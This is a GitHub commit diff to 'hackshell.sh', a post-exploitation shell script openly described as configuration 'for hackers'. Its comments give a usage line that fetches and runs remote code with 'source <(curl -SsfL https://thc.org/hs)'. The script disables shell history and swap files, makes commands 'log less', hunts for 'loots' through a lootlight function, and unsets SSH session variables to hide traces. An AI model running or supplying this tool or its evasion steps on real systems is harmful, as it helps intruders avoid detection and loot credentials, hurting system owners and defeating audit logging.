Skip to content

Commit e4faed2

Browse files
committed
PTY shell upgrader
1 parent d817db5 commit e4faed2

File tree

1 file changed

+12
-15
lines changed

1 file changed

+12
-15
lines changed

tools/hackshell.sh

Lines changed: 12 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -2,17 +2,18 @@
22

33
# HackShell - Post-Login shell configuration for hackers
44
#
5-
# Configure the current shell to not create any files on the
6-
# file system and set up some useful commands. Optionally download
7-
# useful static binaries.
5+
# Configures the current BASH shell to disable history files and swap files
6+
# for bash, wget, less, vim, mysql, curl, ...
87
#
9-
# Usage (memory only):
8+
# Also adds many useful commands, aliases and bash functions.
9+
#
10+
# Does not write anything to the file-system and remains as silent as possible.
11+
#
12+
# Usage:
1013
# source <(curl -SsfL https://thc.org/hs)
11-
# Usage with downloading binaries:
12-
# BIN=1 source <(curl -SsfL https://thc.org/hs)
1314
#
14-
# Environment variables:
15-
# XHOME= Set custom XHOME directory instead of /dev/shm/.$'\t''~?$:?'
15+
# Environment variables (optional):
16+
# XHOME= Set custom XHOME directory [default: /dev/shm/.$'\t''~?$:?']
1617
#
1718
# https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/blob/master/tools/hackshell.sh
1819
# 2024 by theM0ntarCann0n & skpr
@@ -865,18 +866,14 @@ hs_init_shell
865866
xhelp
866867

867868
### Finishing
868-
str=""
869-
[ -z "$BIN" ] && {
870-
echo -e ">>> Type ${CDC}xhome${CN} to set HOME=${CDY}${XHOME}${CN}"
871-
str="No data was written to the filesystem"
872-
}
869+
echo -e ">>> Type ${CDC}xhome${CN} to set HOME=${CDY}${XHOME}${CN}"
873870
echo -e ">>> Tweaking environment variables to log less ${CN}[${CDG}DONE${CN}]"
874871
echo -e ">>> Creating aliases to make commands log less ${CN}[${CDG}DONE${CN}]"
875-
echo -e ">>> ${CG}Setup complete. ${CF}${str}${CN}"
872+
echo -e ">>> ${CG}Setup complete. ${CF}No data was written to the filesystem${CN}"
876873

877874
### Check for obvious loots
878875
lootlight
879876

880877
# unset all functions that are no longer needed.
881878
unset -f hs_init hs_init_alias hs_init_dl hs_init_shell
882-
unset BIN str SSH_CONNECTION SSH_CLIENT
879+
unset SSH_CONNECTION SSH_CLIENT

0 commit comments

Comments
 (0)